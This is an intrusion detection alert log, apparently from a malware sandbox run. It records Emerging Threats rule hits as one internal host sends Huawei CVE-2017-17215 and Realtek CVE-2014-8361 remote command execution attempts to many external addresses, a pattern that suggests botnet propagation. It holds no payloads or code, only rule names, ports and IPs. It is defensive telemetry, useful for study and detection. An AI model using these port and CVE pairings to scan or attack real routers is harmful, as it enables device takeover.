07/20/24-23:01:04.848605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52358	37215	192.168.2.13	197.103.24.251
07/20/24-23:01:06.812906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38580	37215	192.168.2.13	157.194.220.93
07/20/24-23:01:12.356928	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46748	37215	192.168.2.13	41.52.158.215
07/20/24-23:01:19.172936	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49558	52869	192.168.2.13	67.52.151.110
07/20/24-23:01:06.805919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40230	37215	192.168.2.13	41.197.209.75
07/20/24-23:01:05.481947	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55128	52869	192.168.2.13	187.248.171.89
07/20/24-23:01:06.812618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58896	37215	192.168.2.13	157.209.91.186
07/20/24-23:01:08.447448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47950	37215	192.168.2.13	77.99.232.103
07/20/24-23:00:59.021890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42662	37215	192.168.2.13	157.222.199.50
07/20/24-23:01:32.238260	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42198	37215	192.168.2.13	157.202.251.103
07/20/24-23:01:32.244559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33134	37215	192.168.2.13	197.102.87.189
07/20/24-23:00:59.021072	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47944	37215	192.168.2.13	41.143.52.237
07/20/24-23:01:04.752813	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42938	52869	192.168.2.13	8.104.228.104
07/20/24-23:01:14.530241	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57274	52869	192.168.2.13	187.248.171.89
07/20/24-23:01:25.390310	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35648	37215	192.168.2.13	197.66.136.120
07/20/24-23:01:08.392180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50344	37215	192.168.2.13	157.253.241.179
07/20/24-23:01:22.736802	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49664	37215	192.168.2.13	197.213.226.116
07/20/24-23:01:03.668723	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34450	52869	192.168.2.13	112.104.240.153
07/20/24-23:01:36.855169	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37054	37215	192.168.2.13	157.251.174.213
07/20/24-23:01:32.206772	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54228	37215	192.168.2.13	41.84.146.44
07/20/24-23:01:27.354949	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37680	52869	192.168.2.13	163.251.53.210
07/20/24-23:01:27.357903	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52044	52869	192.168.2.13	197.89.201.126
07/20/24-23:01:32.276800	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59244	37215	192.168.2.13	157.5.144.24
07/20/24-23:01:05.820100	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38148	52869	192.168.2.13	78.238.220.249
07/20/24-23:00:59.021741	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48244	37215	192.168.2.13	157.45.88.204
07/20/24-23:01:22.741097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41210	37215	192.168.2.13	41.223.153.77
07/20/24-23:01:05.009396	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55160	52869	192.168.2.13	191.251.66.209
07/20/24-23:01:25.391404	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48894	37215	192.168.2.13	41.113.162.101
07/20/24-23:01:14.533279	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38334	52869	192.168.2.13	159.127.6.20
07/20/24-23:01:22.791883	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54546	37215	192.168.2.13	197.1.219.57
07/20/24-23:01:08.381624	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46060	37215	192.168.2.13	41.21.69.168
07/20/24-23:01:08.392180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46750	37215	192.168.2.13	68.226.28.124
07/20/24-23:01:04.787967	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33794	52869	192.168.2.13	143.19.210.21
07/20/24-23:01:02.624280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55636	37215	192.168.2.13	197.95.163.59
07/20/24-23:01:27.232388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50760	37215	192.168.2.13	157.17.29.203
07/20/24-23:01:32.263122	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54490	37215	192.168.2.13	157.146.151.172
07/20/24-23:01:32.282562	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50912	37215	192.168.2.13	89.252.178.104
07/20/24-23:01:32.199190	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58620	37215	192.168.2.13	157.223.234.248
07/20/24-23:01:06.798920	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54762	37215	192.168.2.13	84.59.78.82
07/20/24-23:01:06.801544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34182	37215	192.168.2.13	197.84.87.201
07/20/24-23:00:59.023399	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45584	37215	192.168.2.13	157.219.233.88
07/20/24-23:01:07.201035	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41406	52869	192.168.2.13	183.244.92.210
07/20/24-23:01:08.368788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50400	37215	192.168.2.13	197.121.157.209
07/20/24-23:01:36.855169	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51688	37215	192.168.2.13	157.53.40.125
07/20/24-23:01:14.522654	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43634	52869	192.168.2.13	87.22.11.17
07/20/24-23:01:02.613456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57420	37215	192.168.2.13	41.235.172.174
07/20/24-23:01:12.553660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51592	37215	192.168.2.13	41.58.123.109
07/20/24-23:01:04.907418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48638	37215	192.168.2.13	218.119.176.170
07/20/24-23:01:14.517250	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40572	52869	192.168.2.13	170.201.104.199
07/20/24-23:01:14.512354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37882	52869	192.168.2.13	27.117.118.67
07/20/24-23:01:22.739029	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47986	37215	192.168.2.13	197.82.200.164
07/20/24-23:01:02.613618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35908	37215	192.168.2.13	197.194.56.97
07/20/24-23:01:08.447448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50908	37215	192.168.2.13	157.25.221.62
07/20/24-23:01:22.736600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59158	37215	192.168.2.13	41.27.107.182
07/20/24-23:01:25.390486	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49506	37215	192.168.2.13	41.217.111.180
07/20/24-23:01:12.356569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46248	37215	192.168.2.13	157.47.155.214
07/20/24-23:01:05.592633	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41912	52869	192.168.2.13	197.160.210.166
07/20/24-23:01:06.812906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37386	37215	192.168.2.13	41.2.99.209
07/20/24-23:01:06.827198	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32768	37215	192.168.2.13	157.228.41.92
07/20/24-23:01:14.501572	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33916	52869	192.168.2.13	62.204.49.132
07/20/24-23:01:14.521865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44396	52869	192.168.2.13	204.52.130.30
07/20/24-23:01:12.485954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39680	37215	192.168.2.13	157.25.94.239
07/20/24-23:01:14.543026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33018	52869	192.168.2.13	164.8.255.47
07/20/24-23:01:36.850220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43492	37215	192.168.2.13	205.156.139.74
07/20/24-23:01:14.526400	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36894	52869	192.168.2.13	72.60.254.31
07/20/24-23:01:25.413015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55630	37215	192.168.2.13	157.198.224.198
07/20/24-23:01:06.802009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41530	37215	192.168.2.13	157.237.159.15
07/20/24-23:01:25.693881	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52430	37215	192.168.2.13	41.191.38.245
07/20/24-23:01:04.846946	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59188	37215	192.168.2.13	93.108.13.246
07/20/24-23:01:27.354360	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58182	52869	192.168.2.13	114.155.105.80
07/20/24-23:01:22.743882	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48032	37215	192.168.2.13	195.23.46.104
07/20/24-23:01:14.550730	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36120	52869	192.168.2.13	193.187.192.75
07/20/24-23:00:59.022606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35422	37215	192.168.2.13	157.106.231.112
07/20/24-23:01:25.397771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55916	37215	192.168.2.13	104.206.254.210
07/20/24-23:01:06.806393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56328	37215	192.168.2.13	157.146.203.166
07/20/24-23:01:06.227033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32804	52869	192.168.2.13	176.69.59.228
07/20/24-23:01:04.177136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49766	52869	192.168.2.13	164.103.95.95
07/20/24-23:01:19.989516	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57918	52869	192.168.2.13	86.176.163.132
07/20/24-23:01:32.250505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54084	37215	192.168.2.13	197.18.146.223
07/20/24-23:01:03.818275	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48204	52869	192.168.2.13	82.246.219.130
07/20/24-23:01:06.798414	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38862	37215	192.168.2.13	212.212.121.173
07/20/24-23:01:05.464253	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37796	52869	192.168.2.13	183.89.166.139
07/20/24-23:01:14.552891	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55230	52869	192.168.2.13	206.239.43.25
07/20/24-23:01:02.624280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54392	37215	192.168.2.13	198.40.74.18
07/20/24-23:01:04.429780	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44850	52869	192.168.2.13	160.89.205.146
07/20/24-23:01:05.140118	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57426	52869	192.168.2.13	144.242.214.134
07/20/24-23:01:36.781604	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48460	37215	192.168.2.13	41.189.227.135
07/20/24-23:01:15.000888	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51472	37215	192.168.2.13	197.147.181.109
07/20/24-23:01:05.533138	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34692	52869	192.168.2.13	65.224.243.64
07/20/24-23:01:08.455371	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38202	37215	192.168.2.13	121.90.143.153
07/20/24-23:01:08.464559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39248	37215	192.168.2.13	157.175.25.88
07/20/24-23:01:22.737918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36226	37215	192.168.2.13	197.11.131.92
07/20/24-23:01:14.522190	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47062	52869	192.168.2.13	210.242.150.143
07/20/24-23:01:04.879348	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49334	37215	192.168.2.13	87.96.38.237
07/20/24-23:01:02.601458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58204	37215	192.168.2.13	40.45.115.153
07/20/24-23:01:03.816822	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53024	52869	192.168.2.13	168.214.55.135
07/20/24-23:01:14.522654	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57278	52869	192.168.2.13	191.251.66.209
07/20/24-23:02:11.193011	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33250	52869	192.168.2.13	84.156.35.88
07/20/24-23:01:20.429707	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35696	52869	192.168.2.13	46.178.0.255
07/20/24-23:01:36.855169	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35644	37215	192.168.2.13	170.155.211.72
07/20/24-23:01:22.795411	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36748	37215	192.168.2.13	157.209.49.4
07/20/24-23:01:06.799605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54526	37215	192.168.2.13	41.255.9.44
07/20/24-23:01:06.804997	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52250	37215	192.168.2.13	51.113.47.127
07/20/24-23:01:04.892226	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51268	37215	192.168.2.13	157.194.214.218
07/20/24-23:01:06.895307	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48040	52869	192.168.2.13	204.210.9.128
07/20/24-23:01:14.505885	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42198	52869	192.168.2.13	4.26.18.222
07/20/24-23:01:04.744150	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51860	52869	192.168.2.13	81.71.223.221
07/20/24-23:01:07.443456	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55978	52869	192.168.2.13	154.241.18.163
07/20/24-23:00:59.020988	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49736	37215	192.168.2.13	65.79.209.34
07/20/24-23:01:36.812730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36022	37215	192.168.2.13	197.22.89.78
07/20/24-23:01:02.613456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35018	37215	192.168.2.13	197.112.159.46
07/20/24-23:01:14.513708	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54014	52869	192.168.2.13	118.95.117.249
07/20/24-23:01:14.525496	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50646	52869	192.168.2.13	51.65.47.196
07/20/24-23:01:08.407500	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34388	37215	192.168.2.13	197.97.63.100
07/20/24-23:01:19.594022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45210	52869	192.168.2.13	141.172.190.0
07/20/24-23:01:12.543114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47696	37215	192.168.2.13	41.57.160.247
07/20/24-23:01:14.544463	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35444	52869	192.168.2.13	117.76.117.93
07/20/24-23:01:22.741097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59530	37215	192.168.2.13	157.174.197.147
07/20/24-23:01:02.703502	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60068	37215	192.168.2.13	197.52.49.166
07/20/24-23:01:12.360353	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40890	37215	192.168.2.13	157.162.54.233
07/20/24-23:01:20.306974	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40900	52869	192.168.2.13	168.200.41.227
07/20/24-23:01:19.178100	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38094	52869	192.168.2.13	84.205.102.154
07/20/24-23:01:04.209332	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48954	52869	192.168.2.13	162.160.111.35
07/20/24-23:01:14.998326	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53280	37215	192.168.2.13	197.130.207.237
07/20/24-23:01:06.820921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34606	37215	192.168.2.13	157.77.20.171
07/20/24-23:01:14.520422	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57380	52869	192.168.2.13	121.35.219.146
07/20/24-23:01:06.806392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54820	37215	192.168.2.13	223.12.56.51
07/20/24-23:01:04.907418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44330	37215	192.168.2.13	41.83.163.214
07/20/24-23:01:05.445612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57540	52869	192.168.2.13	51.230.131.89
07/20/24-23:01:36.787101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38846	37215	192.168.2.13	41.29.113.77
07/20/24-23:01:14.530140	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38082	52869	192.168.2.13	63.139.62.111
07/20/24-23:01:14.536391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56476	52869	192.168.2.13	99.160.201.206
07/20/24-23:01:27.237698	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46118	37215	192.168.2.13	112.41.208.220
07/20/24-23:01:04.874130	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60930	37215	192.168.2.13	157.199.202.121
07/20/24-23:01:36.794115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56380	37215	192.168.2.13	197.232.126.115
07/20/24-23:01:06.129068	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43568	52869	192.168.2.13	205.130.81.109
07/20/24-23:01:27.286229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37812	37215	192.168.2.13	72.15.115.172
07/20/24-23:01:06.812618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39712	37215	192.168.2.13	197.10.21.189
07/20/24-23:01:22.797406	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42600	37215	192.168.2.13	157.163.250.104
07/20/24-23:01:02.678688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47188	37215	192.168.2.13	41.74.135.43
07/20/24-23:00:59.019912	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35076	37215	192.168.2.13	41.201.10.23
07/20/24-23:01:05.869040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52830	52869	192.168.2.13	83.59.61.36
07/20/24-23:01:27.358600	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41592	52869	192.168.2.13	168.200.41.227
07/20/24-23:01:36.850101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45652	37215	192.168.2.13	41.229.108.254
07/20/24-23:01:15.000002	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33410	37215	192.168.2.13	157.29.167.252
07/20/24-23:01:05.948085	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40854	52869	192.168.2.13	89.84.130.3
07/20/24-23:01:32.203847	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39446	37215	192.168.2.13	116.242.147.193
07/20/24-23:01:06.804996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44796	37215	192.168.2.13	197.253.26.85
07/20/24-23:01:32.203847	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50280	37215	192.168.2.13	157.128.222.193
07/20/24-23:01:03.929284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44888	52869	192.168.2.13	202.159.56.129
07/20/24-23:00:59.021890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58998	37215	192.168.2.13	41.79.63.222
07/20/24-23:01:14.503288	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32988	52869	192.168.2.13	129.209.221.62
07/20/24-23:00:59.019997	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53188	37215	192.168.2.13	157.34.92.241
07/20/24-23:01:04.908544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53060	37215	192.168.2.13	41.35.182.26
07/20/24-23:01:36.781432	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58288	37215	192.168.2.13	157.12.156.36
07/20/24-23:00:59.021252	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37320	37215	192.168.2.13	197.204.98.25
07/20/24-23:01:36.781255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56918	37215	192.168.2.13	41.139.175.226
07/20/24-23:00:59.021393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54336	37215	192.168.2.13	197.70.102.93
07/20/24-23:01:12.485458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37386	37215	192.168.2.13	13.246.228.105
07/20/24-23:01:25.390311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51896	37215	192.168.2.13	41.97.154.230
07/20/24-23:01:25.460589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56396	37215	192.168.2.13	41.252.230.80
07/20/24-23:01:14.530874	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35364	52869	192.168.2.13	106.43.123.108
07/20/24-23:01:27.263646	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54494	37215	192.168.2.13	41.115.122.156
07/20/24-23:01:04.907419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40488	37215	192.168.2.13	197.236.227.173
07/20/24-23:01:36.793382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50624	37215	192.168.2.13	41.137.24.118
07/20/24-23:01:14.508164	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34892	52869	192.168.2.13	220.123.4.18
07/20/24-23:01:05.491830	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57330	52869	192.168.2.13	74.253.225.130
07/20/24-23:00:59.055158	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43270	37215	192.168.2.13	157.202.34.88
07/20/24-23:01:04.879348	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49912	37215	192.168.2.13	197.28.62.129
07/20/24-23:01:25.391568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52722	37215	192.168.2.13	197.51.100.49
07/20/24-23:01:27.352864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48646	52869	192.168.2.13	170.245.248.200
07/20/24-23:01:32.271087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33108	37215	192.168.2.13	197.133.175.82
07/20/24-23:01:07.575114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39206	52869	192.168.2.13	205.67.98.173
